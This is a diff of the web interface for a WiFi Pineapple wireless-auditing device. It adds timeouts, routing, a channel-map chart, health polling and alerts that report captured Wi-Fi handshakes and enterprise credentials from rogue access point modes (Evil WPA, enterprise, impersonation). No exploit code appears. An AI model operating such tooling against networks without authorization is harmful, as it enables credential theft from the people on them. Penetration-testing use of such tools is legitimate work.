.recon-dbm-bar { display: inline-block; width: 46px; height: 6px; border-radius: 3px; background: var(--surface-alt); overflow: hidden; vertical-align: middle; }
html.dark .recon-dbm-bar { background: #333; }
.recon-dbm-fill { display: block; height: 100%; border-radius: 3px; }
.recon-dbm-val { font-variant-numeric: tabular-nums; }
.recon-chips-row { display: flex; align-items: center; gap: 6px; flex-wrap: wrap; margin: 4px 0 10px; }
.recon-chips-label { font-size: 11px; text-transform: uppercase; letter-spacing: .06em; color: var(--muted); margin: 0 2px 0 8px; }
.recon-chips-label:first-child { margin-left: 0; }
.recon-chip { border: 1px solid var(--border); background: transparent; color: var(--muted); border-radius: 12px; padding: 3px 11px; font-size: 12px; cursor: pointer; }
.recon-chip:hover { color: var(--text); border-color: var(--primary); }
.recon-chip.active { background: var(--primary); border-color: var(--primary); color: #fff; }
.recon-pill { border: 1px solid var(--border); background: transparent; color: var(--muted); border-radius: 12px; padding: 3px 11px; font-size: 12px; cursor: pointer; display: inline-flex; align-items: center; gap: 5px; max-width: 260px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.recon-pill:hover { color: var(--text); border-color: var(--primary); }
.recon-pill:disabled { opacity: .5; cursor: default; }
.recon-pill.on { background: #e8f5e9; border-color: #a5d6a7; color: #2e7d32; }
html.dark .recon-pill.on { background: #1b3a23; color: #81c784; }
/* ---- Recon compare + selection ---- */
.recon-compare-hint { font-size: 12px; color: var(--muted); margin: -4px 0 8px; }
.recon-compare-empty { margin: 6px 0; }
.recon-compare-legend { display: flex; flex-wrap: wrap; gap: 12px; margin-top: 6px; }
.recon-compare-legend-item { display: inline-flex; align-items: center; gap: 6px; font-size: 12px; }
.recon-compare-swatch { width: 10px; height: 10px; border-radius: 50%; flex: none; }
.recon-compare-sig { color: var(--muted); font-variant-numeric: tabular-nums; }
.recon-cmp-check { display: inline-flex; }
.recon-cmp-check input { width: auto; }
.recon-sel-chips { display: flex; align-items: center; gap: 6px; flex-wrap: wrap; margin: 2px 0 6px; }
.recon-sel-chips.hidden { display: none; }
.recon-sel-chip { display: inline-flex; align-items: center; gap: 5px; border: 1px solid var(--primary); border-radius: 12px; padding: 2px 8px 2px 11px; font-size: 12px; color: var(--text); background: var(--surface-alt); }
.recon-sel-chip-x { cursor: pointer; color: var(--muted); font-weight: 700; padding: 0 2px; }
.recon-sel-chip-x:hover { color: #e53935; }
.recon-sel-clear { padding: 2px 10px; font-size: 12px; }
/* ---- Recon channel map ---- */
.recon-map-sub { font-size: 12px; color: var(--muted); margin: -4px 0 6px; }
.recon-map-chips { margin: 0 0 6px; }
.recon-chip.disabled { opacity: .45; cursor: default; }
.recon-chip.disabled:hover { color: var(--muted); border-color: var(--border); }
.recon-map-box { position: relative; }
.recon-map-box canvas { display: block; }
.recon-map-box .recon-no-data { min-height: 60px; }
.recon-map-tip {
position: absolute; z-index: 20; min-width: 220px; max-width: 260px;
background: var(--surface); border: 1px solid var(--border); border-radius: 3px;
box-shadow: var(--shadow); padding: 8px 10px; pointer-events: none; font-size: 12px;
color: var(--text);
}
.recon-map-tip-row { padding: 3px 0; border-bottom: 1px solid var(--border); }
.recon-map-tip-row:last-child { border-bottom: 0; }
.recon-map-tip-ssid { font-weight: 600; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.recon-map-tip-meta { color: var(--muted); font-size: 11px; font-variant-numeric: tabular-nums; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
/* ---- Reports view ---- */
.wigle-warn { color: #ef6c00; font-size: 12px; }
/* ---- Mark VII handshakes table + settings dialog ---- */
.hs-cell-center { text-align: center; }
.hs-ok, .hs-bad, .hs-na { display: inline-flex; vertical-align: middle; }
@@ -419,6 +513,7 @@ html.dark .modal { background: #303030; }
.pineap-infobox { border-radius: 2px; padding: 10px 12px; margin-top: 10px; font-size: 13px; display: flex; flex-direction: column; gap: 8px; }
.pineap-infobox.error { background: #fdecea; color: #b71c1c; border: 1px solid #f5c6cb; }
.pineap-infobox.info { background: #e3f2fd; color: #0d47a1; border: 1px solid #90caf9; }
.pineap-infobox.warn { background: #fff8e1; color: #f57f17; border: 1px solid #ffe082; }
.pineap-infobox-actions { display: flex; gap: 8px; flex-wrap: wrap; }
html.dark .pineap-infobox.error { background: #4a2020; color: #ffb4a9; border-color: #6b2d2d; }
html.dark .pineap-infobox.info { background: #10263a; color: #9cc7f0; border-color: #1d3a54; }
@@ -474,6 +569,27 @@ html.dark .pineap-infobox.info { background: #10263a; color: #9cc7f0; border-col
.settings-diagnostics { max-height: 520px; white-space: pre-wrap; word-break: break-word; }
.settings-card > .switch { display: flex; margin: 10px 0; color: var(--text); font-size: 13px; }
.settings-card a { color: var(--primary); }
/* ---- WiFi client mode ---- */
.client-status { display: grid; grid-template-columns: repeat(auto-fit, minmax(220px, 1fr)); gap: 4px 20px; }
.client-kv { display: flex; align-items: center; justify-content: space-between; gap: 12px; border-bottom: 1px solid var(--border); padding: 6px 0; font-size: 13px; }
.client-kv > span { color: var(--muted); }
.client-actions { display: flex; gap: 8px; flex-wrap: wrap; margin: 12px 0 4px; }
.client-networks { display: flex; flex-direction: column; gap: 6px; margin-top: 8px; max-height: 320px; overflow-y: auto; }
.client-net-row { display: flex; align-items: center; gap: 12px; padding: 9px 10px; border: 1px solid var(--border); border-radius: 3px; }
.client-net-main { flex: 1; min-width: 0; display: flex; flex-direction: column; }
.client-net-ssid { font-weight: 500; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.client-net-enc { font-size: 11px; color: var(--muted); }
.client-net-signal { color: var(--muted); font-size: 12px; white-space: nowrap; }
.client-connect-form { display: flex; gap: 8px; align-items: center; flex-wrap: wrap; width: 100%; }
.client-connect-form input[type=password] { flex: 1 1 160px; }
.client-routing { display: flex; align-items: center; gap: 8px; margin: 8px 0 0; color: var(--text); font-size: 13px; }
.client-routing.hidden { display: none; }
.client-connect-form .client-routing { margin: 0; }
.client-modal { width: 560px; }
@media (max-width: 700px) {
.client-modal { min-width: 0; width: auto; }
}
@media (max-width: 700px) {
.tabbar { overflow-x: auto; flex-wrap: nowrap; }
.tabbar .tab { flex: 0 0 auto; }
@@ -6,7 +6,7 @@
<meta name="color-scheme" content="light dark">
<title>WiFi Pineapple</title>
<link rel="icon" type="image/png" href="assets/logo.png">
<link rel="stylesheet" href="css/app.css?v=20260811-9">
<link rel="stylesheet" href="css/app.css?v=20260819-1">
<link rel="stylesheet" href="js/xterm.css">
</head>
<body>
@@ -26,6 +26,7 @@
<span id="brand-text" class="brand-text">Mark VIII</span>
<span class="toolbar-spacer"></span>
<span id="live-status"></span>
<span id="health-status" class="health-chip"></span>
<div class="toolbar-action">
<button id="notifications-btn" class="toolbar-icon-btn" type="button" title="Notifications"
aria-label="Notifications" aria-haspopup="menu" aria-controls="notifications-menu" aria-expanded="false"></button>
@@ -260,14 +261,14 @@
<div id="toast-container"></div>
<script src="js/config.js"></script>
<script src="js/icons.js?v=20260811-6"></script>
<script src="js/api.js?v=20260811-3"></script>
<script src="js/chart.js"></script>
<script src="js/icons.js?v=20260818-7"></script>
<script src="js/api.js?v=20260819-2"></script>
<script src="js/chart.js?v=20260819-1"></script>
<script src="js/xterm.min.js"></script>
<script src="js/xterm-addon-fit.min.js"></script>
<script src="js/terminal.js"></script>
<script src="js/pager.js"></script>
<script src="js/views.js?v=20260811-11"></script>
<script src="js/app.js?v=20260811-9"></script>
<script src="js/views.js?v=20260819-2"></script>
<script src="js/app.js?v=20260819-1"></script>
</body>
</html>
@@ -3,13 +3,32 @@
const PagerAPI = (() => {
let apiBase = '';
let on401 = null;
// Reads are polled and must never hang a page's refresh loop; writes have
// server-side timeouts up to 45s (radio deploys) so they get no client
// abort.
const GET_TIMEOUT_MS = 20000;
async function request(method, path, body) {
const opts = { method, headers: {}, credentials: 'include' };
if (body !== undefined) {
opts.headers['Content-Type'] = 'application/json';
opts.body = JSON.stringify(body);
}
const res = await fetch(apiBase + path, opts);
const ctl = new AbortController();
const timer = method === 'GET' ? setTimeout(() => ctl.abort(), GET_TIMEOUT_MS) : null;
if (timer) opts.signal = ctl.signal;
let res;
try {
res = await fetch(apiBase + path, opts);
} catch (e) {
if (timer && e && e.name === 'AbortError') {
const error = new Error('Request timed out');
error.status = 0;
throw error;
}
throw e;
} finally {
if (timer) clearTimeout(timer);
}
if (res.status === 401) {
if (on401) on401();
throw new Error('unauthorized');
@@ -23,7 +42,9 @@ const PagerAPI = (() => {
data = await res.text();
}
if (!res.ok) {
const message = data && data.error ? data.error : ('HTTP ' + res.status);
const detail = data && typeof data.detail === 'string' ? data.detail : '';
const message = (data && data.error ? data.error : ('HTTP ' + res.status)) +
(detail ? ': ' + detail : '');
const error = new Error(message);
error.status = res.status;
error.data = data;
@@ -33,6 +33,7 @@ const App = (() => {
{ key: 'recon', label: 'Recon', hash: '#/recon', icon: 'recon' },
{ key: 'logging', label: 'Logging', hash: '#/logging', icon: 'logging' },
{ key: 'modules', label: 'Payloads', hash: '#/modules', icon: 'modules' },
{ key: 'harness', label: 'Harness', hash: '#/harness', icon: 'robot' },
{ key: 'settings', label: 'Settings', hash: '#/settings', icon: 'settings' }
];
const railDividers = new Set(['logging']);
@@ -83,7 +84,22 @@ const App = (() => {
function route() {
closeToolbarMenus();
const hash = location.hash || '#/dashboard';
let hash = (location.hash || '#/dashboard').replace(/\/+$/, '');
if (hash === '#/recon/survey') {
location.hash = '#/recon';
return;
}
if (hash.indexOf('#/attacks') === 0) {
const map = {
'#/attacks': '#/pineap',
'#/attacks/wpa': '#/pineap/evilwpa',
'#/attacks/open': '#/pineap/open',
'#/attacks/enterprise': '#/pineap/enterprise'
};
hash = map[hash] || '#/pineap';
location.replace(hash);
return;
}
const name = routes[hash];
if (currentView && currentView.destroy) currentView.destroy();
els.content.innerHTML = '';
@@ -233,7 +249,8 @@ const App = (() => {
location.hash = '#/settings/advanced';
toast('Update controls are available in Advanced settings');
} else if (action === 'internet') {
checkInternet(true);
if (typeof views.openClientModeModal === 'function') views.openClientModeModal();
else checkInternet(true);
} else if (action === 'logout') {
PagerAPI.post('/api/logout')
.then(() => showLogin())
@@ -389,12 +406,14 @@ const App = (() => {
const routes = {
'#/dashboard': 'dashboard',
'#/pineap': 'pineap',
'#/pineap/open': 'pineap_open',
'#/pineap/evilwpa': 'pineap_evilwpa',
'#/pineap/enterprise': 'pineap_enterprise',
'#/pineap/open': 'pineap_open',
'#/pineap/impersonation': 'pineap_impersonation',
'#/pineap/clients': 'pineap_clients',
'#/pineap/filtering': 'pineap_filtering',
'#/recon': 'recon',
'#/recon/reports': 'recon_reports',
'#/recon/handshakes': 'recon_handshakes',
'#/logging': 'logging',
'#/logging/system': 'logging_system',
@@ -407,11 +426,13 @@ const App = (() => {
'#/settings/wifi': 'settings_wifi',
'#/settings/led': 'settings_led',
'#/settings/advanced': 'settings_advanced',
'#/settings/help': 'settings_help'
'#/settings/help': 'settings_help',
'#/harness': 'harness'
};
return { init, route, toast, showLogin, wsUrl: (p) => WS_BASE + p, terminalWs: TERMINAL_WS,
pagerScreenWs: PAGER_SCREEN_WS, pagerKeysWs: PAGER_KEYS_WS, apiBase: API_BASE,
return { init, route, toast, showLogin, checkInternet, wsUrl: (p) => WS_BASE + p,
terminalWs: TERMINAL_WS, pagerScreenWs: PAGER_SCREEN_WS,
pagerKeysWs: PAGER_KEYS_WS, apiBase: API_BASE,
keyOf, railItems, go: (h) => { location.hash = h; },
get key() { return keyOf(location.hash); } };
})();
@@ -420,6 +441,10 @@ const Live = (() => {
let ws = null;
let ever = false;
let poll = null;
let pollHealthTimer = null;
let pollEventsTimer = null;
const lastEvents = { hsSeen: {}, hsPrimed: false, creds: null, credsPrimed: false,
pineapUp: null, mon0: null, mon1: null };
const subs = [];
let timer = null;
function stopPoll() {
@@ -428,6 +453,14 @@ const Live = (() => {
function start() {
if (ws && (ws.readyState === WebSocket.OPEN || ws.readyState === WebSocket.CONNECTING)) return;
stopPoll();
if (!pollHealthTimer) {
pollHealthTimer = setInterval(pollHealth, 15000);
pollHealth();
}
if (!pollEventsTimer) {
pollEventsTimer = setInterval(pollEvents, 15000);
pollEvents();
}
try { ws = new WebSocket(App.wsUrl('/api/ws')); }
catch (e) { fallback(); return; }
ws.onopen = () => { ever = true; };
@@ -475,6 +508,58 @@ const Live = (() => {
const el = document.getElementById('live-status');
if (el) el.textContent = 'BAT ' + (b.level == null ? '--' : b.level + '%' + (b.charging ? '+' : '')) + ' CLIENTS ' + n;
}
function pollHealth() {
fetch(App.apiBase + '/api/health', { credentials: 'include' }).then((r) => r.json())
.then((h) => {
const el = document.getElementById('health-status');
if (!el) return;
if (h.pineap_up === false) {
el.textContent = 'PINEAPD DOWN';
el.className = 'health-chip bad';
} else if (h.pool_disabled) {
el.textContent = 'POOL OFF';
el.className = 'health-chip warn';
} else if (h.pineap_up) {
el.textContent = 'PINEAP OK';
el.className = 'health-chip good';
}
const prev = lastEvents;
if (prev.pineapUp === false && h.pineap_up) {
toast('PineAPd recovered', 'success');
} else if (prev.pineapUp === true && h.pineap_up === false) {
toast('PineAPd is down — health monitor is repairing it', 'error');
}
lastEvents.pineapUp = !!h.pineap_up;
const monState = [h.wlan0mon_up, h.wlan1mon_up];
if (prev.mon0 === true && monState[0] === false) toast('wlan0mon went down', 'error');
if (prev.mon1 === true && monState[1] === false) toast('wlan1mon went down', 'error');
lastEvents.mon0 = !!monState[0];
lastEvents.mon1 = !!monState[1];
}).catch(() => {});
}
function pollEvents() {
Promise.all([
fetch(App.apiBase + '/api/pineap/handshakes', { credentials: 'include' }).then((r) => r.json()).catch(() => ({})),
fetch(App.apiBase + '/api/attacks/status', { credentials: 'include' }).then((r) => r.json()).catch(() => ({}))
]).then(([hs, atk]) => {
const files = (hs && hs.files) || [];
const fresh = files.filter((f) => !lastEvents.hsSeen[f.name]);
if (lastEvents.hsPrimed && fresh.length) {
fresh.forEach((f) => {
const bssid = (f.name.match(/^[0-9]+_([0-9A-F]+)_/) || [])[1] || '';
toast('Handshake captured: ' + (bssid || f.name), 'success');
});
}
files.forEach((f) => { lastEvents.hsSeen[f.name] = true; });
lastEvents.hsPrimed = true;
const creds = ((atk.enterprise || {}).creds) == null ? null : atk.enterprise.creds;
if (lastEvents.credsPrimed && creds !== null && creds > lastEvents.creds) {
toast('Enterprise credential captured (' + (creds - lastEvents.creds) + ' new)', 'success');
}
if (creds !== null) lastEvents.creds = creds;
lastEvents.credsPrimed = true;
}).catch(() => {});
}
function onTick(fn) {
subs.push(fn);
return () => {
@@ -10,7 +10,10 @@ const MiniChart = (() => {
ctx.setTransform(dpr, 0, 0, dpr, 0, 0);
const w = canvas.clientWidth, h = 140;
ctx.clearRect(0, 0, w, h);
const max = Math.max(o.max || 10, ...series.map((s) => Math.max(...s.points, 0)), 1);
const oMin = o.min == null ? 0 : o.min;
const max = Math.max(o.max || 10, ...series.map((s) => Math.max(...s.points, oMin)), oMin + 1);
const min = Math.min(oMin, ...series.map((s) => Math.min(...s.points, oMin)));
const span = Math.max(max - min, 1);
const pad = 8;
ctx.strokeStyle = o.grid || '#e0e0e0';
ctx.lineWidth = 1;
@@ -28,14 +31,14 @@ const MiniChart = (() => {
pts.forEach((v, i) => {
if (v == null) { started = false; return; }
const x = pad + (w - pad * 2) * i / Math.max(pts.length - 1, 1);
const y = h - pad - (h - pad * 2) * (v / max);
const y = h - pad - (h - pad * 2) * ((v - min) / span);
if (!started) { ctx.moveTo(x, y); started = true; } else ctx.lineTo(x, y);
});
ctx.stroke();
const last = pts[pts.length - 1];
if (last != null) {
const x = pad + (w - pad * 2) * (pts.length - 1) / Math.max(pts.length - 1, 1);
const y = h - pad - (h - pad * 2) * (last / max);
const y = h - pad - (h - pad * 2) * ((last - min) / span);
ctx.fillStyle = s.color || '#1976d2';
ctx.beginPath(); ctx.arc(x, y, 3, 0, Math.PI * 2); ctx.fill();
}
@@ -133,5 +136,132 @@ const MiniChart = (() => {
});
}
return { draw, doughnut, bar };
function chanToMhz(band, ch) {
const n = Number(ch);
if (band === '2.4') return 2407 + 5 * n;
if (band === '5') return 5000 + 5 * n;
if (band === '6') return 5950 + 5 * n;
return null;
}
function bandRange(band) {
if (band === '2.4') return [2400, 2500];
if (band === '5') return [5150, 5900];
if (band === '6') return [5925, 7125];
return null;
}
function hexA(hex, alpha) {
const m = /^#([0-9a-f]{6})$/i.exec(hex || '');
if (!m) return hex;
const n = parseInt(m[1], 16);
return 'rgba(' + ((n >> 16) & 255) + ',' + ((n >> 8) & 255) + ',' + (n & 255) + ',' + alpha + ')';
}
// Channel map: each AP is a raised-cosine lobe at its reported center
// frequency with the peak at its signal strength. The radio does not report
// channel width, so every lobe assumes 20 MHz (half-width +-10 MHz).
// Lobe geometry (CSS px) is recorded on the canvas so the caller can
// hit-test pointer position against the networks under the cursor.
function channelMap(canvas, aps, opts) {
const o = opts || {};
const dpr = window.devicePixelRatio || 1;
const H = o.height || 180;
canvas.width = canvas.clientWidth * dpr;
canvas.height = H * dpr;
const ctx = canvas.getContext('2d');
ctx.setTransform(dpr, 0, 0, dpr, 0, 0);
const w = canvas.clientWidth, h = H;
ctx.clearRect(0, 0, w, h);
canvas.__reconLobes = [];
if (!aps || !aps.length) return;
const pts = aps
.map((a) => ({
freq: a.freq != null ? Number(a.freq) : chanToMhz(a.band, a.channel),
sig: a.signal
}))
.filter((p) => p.freq != null && p.sig != null);
if (!pts.length) return;
const def = bandRange(aps[0].band);
const lo = Math.min(def ? def[0] : Infinity, ...pts.map((p) => p.freq));
const hi = Math.max(def ? def[1] : -Infinity, ...pts.map((p) => p.freq));
const fMin = lo - 10, fMax = hi + 10;
const padL = 42, padR = 10, padT = 14, padB = 24;
const plotW = w - padL - padR, plotH = h - padT - padB;
const YMIN = -100, YMAX = -30;
const x = (f) => padL + (f - fMin) / (fMax - fMin) * plotW;
const y = (dbm) => padT + (1 - (dbm - YMIN) / (YMAX - YMIN)) * plotH;
ctx.font = '10px Roboto, "Segoe UI", Arial, sans-serif';
ctx.textAlign = 'right';
for (let dbm = YMIN; dbm <= YMAX; dbm += 10) {
const yy = y(dbm);
ctx.strokeStyle = o.grid || '#e0e0e0';
ctx.lineWidth = 1;
ctx.beginPath(); ctx.moveTo(padL, yy); ctx.lineTo(w - padR, yy); ctx.stroke();
ctx.fillStyle = '#888';
ctx.fillText(String(dbm), padL - 6, yy + 3);
}
ctx.strokeStyle = o.grid || '#e0e0e0';
for (let f = Math.ceil(fMin / 20) * 20; f <= fMax; f += 20) {
ctx.beginPath(); ctx.moveTo(x(f), padT); ctx.lineTo(x(f), h - padB); ctx.stroke();
}
const baseY = h - padB;
aps.forEach((a) => {
const freq = a.freq != null ? Number(a.freq) : chanToMhz(a.band, a.channel);
if (freq == null || a.signal == null) return;
const color = a.color || '#1976d2';
const cx = x(freq);
const topY = y(a.signal);
const peakH = Math.max(2, baseY - topY);
const half = Math.max(4, (10 / (fMax - fMin)) * plotW);
canvas.__reconLobes.push({ ap: a, cx: cx, half: half, topY: topY, baseY: baseY });
ctx.beginPath();
for (let i = 0; i <= 28; i++) {
const t = -1 + i / 14;
const lift = Math.max(0, 0.5 + 0.5 * Math.cos(Math.PI * t));
const px = cx + t * half;
const py = baseY - lift * peakH;
if (i === 0) ctx.moveTo(px, py);
else ctx.lineTo(px, py);
}
ctx.closePath();
ctx.fillStyle = hexA(color, 0.35);
ctx.fill();
ctx.strokeStyle = color;
ctx.lineWidth = 1.5;
ctx.stroke();
});
// Hit test: list networks whose lobe is under (mx, my) in CSS px.
canvas.__reconLobesHit = function (mx, my, padPx) {
const pad = padPx == null ? 4 : padPx;
const hits = [];
(this.__reconLobes || []).forEach((l) => {
const dx = mx - l.cx;
if (Math.abs(dx) > l.half + 2) return;
const t = Math.min(1, Math.max(-1, dx / l.half));
const lift = Math.max(0, 0.5 + 0.5 * Math.cos(Math.PI * t));
const lobeTop = l.baseY - lift * (l.baseY - l.topY);
if (my >= lobeTop - pad && my <= l.baseY + pad) hits.push(l.ap);
});
return hits;
};
let lastLabelX = -Infinity;
ctx.textAlign = 'center';
aps.forEach((a) => {
const freq = a.freq != null ? Number(a.freq) : chanToMhz(a.band, a.channel);
if (freq == null || a.channel == null) return;
const cx = x(freq);
if (cx - lastLabelX < 34) return;
lastLabelX = cx;
ctx.strokeStyle = '#999';
ctx.beginPath(); ctx.moveTo(cx, h - padB); ctx.lineTo(cx, h - padB + 4); ctx.stroke();
ctx.fillStyle = '#666';
ctx.fillText('CH ' + a.channel, cx, h - 7);
});
ctx.textAlign = 'left';
ctx.fillStyle = '#888';
ctx.fillText((aps[0].band || '?') + ' GHz', padL + 4, padT + 2);
}
return { draw, doughnut, bar, channelMap };
})();
@@ -1,6 +1,7 @@
'use strict';
window.PineappleIcons = {
attack: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2L15,9L22,12L15,15L12,22L9,15L2,12L9,9L12,2M12,6.5L10.5,10.5L6.5,12L10.5,13.5L12,17.5L13.5,13.5L17.5,12L13.5,10.5L12,6.5Z"/></svg>',
dashboard: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,16A3,3 0 0,1 9,13C9,11.88 9.61,10.9 10.5,10.39L20.21,4.77L14.68,14.35C14.18,15.33 13.17,16 12,16M12,3C13.81,3 15.5,3.5 16.97,4.32L14.87,5.53C14,5.19 13,5 12,5A8,8 0 0,0 4,13C4,15.21 4.89,17.21 6.34,18.65H6.35C6.74,19.04 6.74,19.67 6.35,20.06C5.96,20.45 5.32,20.45 4.93,20.07V20.07C3.12,18.26 2,15.76 2,13A10,10 0 0,1 12,3M22,13C22,15.76 20.88,18.26 19.07,20.07V20.07C18.68,20.45 18.05,20.45 17.66,20.06C17.27,19.67 17.27,19.04 17.66,18.65V18.65C19.11,17.2 20,15.21 20,13C20,12 19.81,11 19.46,10.1L20.67,8C21.5,9.5 22,11.18 22,13Z"/></svg>',
pineap: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,21L15.6,16.2C16.2,15.4 16.8,14.5 17.2,13.6C18.1,11.5 18,9 18,9C18,6.5 16.5,4.3 15,3.5C13.5,2.7 10.5,2.7 9,3.5C7.5,4.3 6,6.5 6,9C6,9 5.9,11.5 6.8,13.6C7.2,14.5 7.8,15.4 8.4,16.2L12,21M12,5.5C13.4,5.5 14.5,6.6 14.5,8C14.5,9.4 13.4,10.5 12,10.5C10.6,10.5 9.5,9.4 9.5,8C9.5,6.6 10.6,5.5 12,5.5M7.1,13.1C7.1,13.1 8.2,14 12,14C15.8,14 16.9,13.1 16.9,13.1L15.9,12.1C15.9,12.1 14.8,12.8 12,12.8C9.2,12.8 8.1,12.1 8.1,12.1L7.1,13.1M12,17C10,17 9,17.6 9,17.6L10.3,19.3C10.3,19.3 11.1,19 12,19C12.9,19 13.7,19.3 13.7,19.3L15,17.6C15,17.6 14,17 12,17Z"/></svg>',
recon: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M11,6H13V13H11V6M9,20A1,1 0 0,1 8,21H5A1,1 0 0,1 4,20V15L6,6H10V13A1,1 0 0,1 9,14V20M10,5H7V3H10V5M15,20V14A1,1 0 0,1 14,13V6H18L20,15V20A1,1 0 0,1 19,21H16A1,1 0 0,1 15,20M14,5V3H17V5H14Z"/></svg>',
@@ -9,12 +10,14 @@ window.PineappleIcons = {
settings: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M21 11.11V7A2 2 0 0 0 19 5H15V3A2 2 0 0 0 13 1H9A2 2 0 0 0 7 3V5H3A2 2 0 0 0 1 7V18A2 2 0 0 0 3 20H10.26A7 7 0 1 0 21 11.11M9 3H13V5H9M19 20A5 5 0 0 1 13 20A5 5 0 1 1 19 20M15 13H16.5V15.82L18.94 17.23L18.19 18.53L15 16.69V13"/></svg>',
chevron: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M7.41,15.41L12,10.83L16.59,15.41L18,14L12,8L6,14L7.41,15.41Z"/></svg>',
terminal: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M20,19V7H4V19H20M20,3A2,2 0 0,1 22,5V19A2,2 0 0,1 20,21H4A2,2 0 0,1 2,19V5C2,3.89 2.9,3 4,3H20M13,17V15H18V17H13M9.58,13L5.57,9H8.4L11.7,12.3C12.09,12.69 12.09,13.33 11.7,13.72L8.42,17H5.59L9.58,13Z"/></svg>',
robot: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A2,2 0 0,1 14,4C14,4.74 13.6,5.39 13,5.73V7H14A7,7 0 0,1 21,14H22A1,1 0 0,1 23,15V18A1,1 0 0,1 22,19H21V20A2,2 0 0,1 19,22H5A2,2 0 0,1 3,20V19H2A1,1 0 0,1 1,18V15A1,1 0 0,1 2,14H3A7,7 0 0,1 10,7H11V5.73C10.4,5.39 10,4.74 10,4A2,2 0 0,1 12,2M7.5,13A2.5,2.5 0 0,0 5,15.5A2.5,2.5 0 0,0 7.5,18A2.5,2.5 0 0,0 10,15.5A2.5,2.5 0 0,0 7.5,13M16.5,13A2.5,2.5 0 0,0 14,15.5A2.5,2.5 0 0,0 16.5,18A2.5,2.5 0 0,0 19,15.5A2.5,2.5 0 0,0 16.5,13M12,20A2,2 0 0,0 14,18H10A2,2 0 0,0 12,20Z"/></svg>',
wifi: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M1,9L3,11C8,6 16,6 21,11L23,9C17,3 7,3 1,9M5,13L7,15C10,12.5 14,12.5 17,15L19,13C15,9 9,9 5,13M9,17L12,21L15,17C13.34,15.67 10.66,15.67 9,17Z"/></svg>',
extension: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M20.5,11H19V7C19,5.89 18.1,5 17,5H13V3.5A2.5,2.5 0 0,0 10.5,1A2.5,2.5 0 0,0 8,3.5V5H4A2,2 0 0,0 2,7V10.8H3.5C5,10.8 6.2,12 6.2,13.5C6.2,15 5,16.2 3.5,16.2H2V20A2,2 0 0,0 4,22H7.8V20.5C7.8,19 9,17.8 10.5,17.8C12,17.8 13.2,19 13.2,20.5V22H17A2,2 0 0,0 19,20V16H20.5A2.5,2.5 0 0,0 23,13.5A2.5,2.5 0 0,0 20.5,11Z"/></svg>',
receipt: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M14,17H4V15H14V17M14,13H4V11H14V13M14,9H4V7H14V9M18,13V11H16V9H18V7H20V9H22V11H20V13H18M20,3H2A2,2 0 0,0 0,5V19A2,2 0 0,0 2,21H20A2,2 0 0,0 22,19V17H20V19H2V5H20V3Z"/></svg>',
refresh: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M17.65,6.35C16.2,4.9 14.21,4 12,4A8,8 0 0,0 4,12A8,8 0 0,0 12,20C15.73,20 18.84,17.45 19.73,14H17.65C16.83,16.33 14.61,18 12,18A6,6 0 0,1 6,12A6,6 0 0,1 12,6C13.66,6 15.14,6.69 16.22,7.78L13,11H20V4L17.65,6.35Z"/></svg>',
file_download: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M19,9H15V3H9V9H5L12,16L19,9M5,18V20H19V18H5Z"/></svg>',
delete: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M6,19C6,20.1 6.9,21 8,21H16C17.1,21 18,20.1 18,19V7H6V19M19,4H15.5L14.5,3H9.5L8.5,4H5V6H19V4Z"/></svg>',
delete_forever: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M6,19A2,2 0 0,0 8,21H16A2,2 0 0,0 18,19V7H6V19M8.46,11.88L9.87,10.47L12,12.59L14.12,10.47L15.53,11.88L13.41,14L15.53,16.12L14.12,17.53L12,15.41L9.88,17.53L8.47,16.12L10.59,14L8.46,11.88M15.5,4L14.5,3H9.5L8.5,4H5V6H19V4H15.5Z"/></svg>',
settings: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M19.14,12.94C19.18,12.64 19.2,12.33 19.2,12C19.2,11.68 19.18,11.36 19.13,11.06L21.16,9.48C21.34,9.34 21.39,9.07 21.28,8.87L19.36,5.55C19.24,5.33 18.99,5.26 18.77,5.33L16.38,6.29C15.88,5.91 15.35,5.59 14.76,5.35L14.4,2.81C14.36,2.57 14.16,2.4 13.92,2.4H10.08C9.84,2.4 9.65,2.57 9.61,2.81L9.25,5.35C8.66,5.59 8.12,5.91 7.63,6.29L5.24,5.33C5.02,5.26 4.77,5.33 4.65,5.55L2.74,8.87C2.62,9.08 2.66,9.34 2.86,9.48L4.89,11.06C4.84,11.36 4.8,11.67 4.8,12C4.8,12.33 4.82,12.64 4.87,12.94L2.84,14.52C2.66,14.66 2.61,14.93 2.72,15.13L4.64,18.45C4.76,18.67 5.01,18.74 5.23,18.67L7.62,17.71C8.12,18.09 8.65,18.41 9.24,18.65L9.6,21.19C9.65,21.43 9.84,21.6 10.08,21.6H13.92C14.16,21.6 14.36,21.43 14.4,21.19L14.76,18.65C15.35,18.41 15.88,18.09 16.38,17.71L18.77,18.67C18.99,18.74 19.24,18.67 19.36,18.45L21.28,15.13C21.39,14.93 21.34,14.66 21.16,14.52L19.14,12.94M12,15.6C10.02,15.6 8.4,13.98 8.4,12C8.4,10.02 10.02,8.4 12,8.4C13.98,8.4 15.6,10.02 15.6,12C15.6,13.98 13.98,15.6 12,15.6Z"/></svg>',
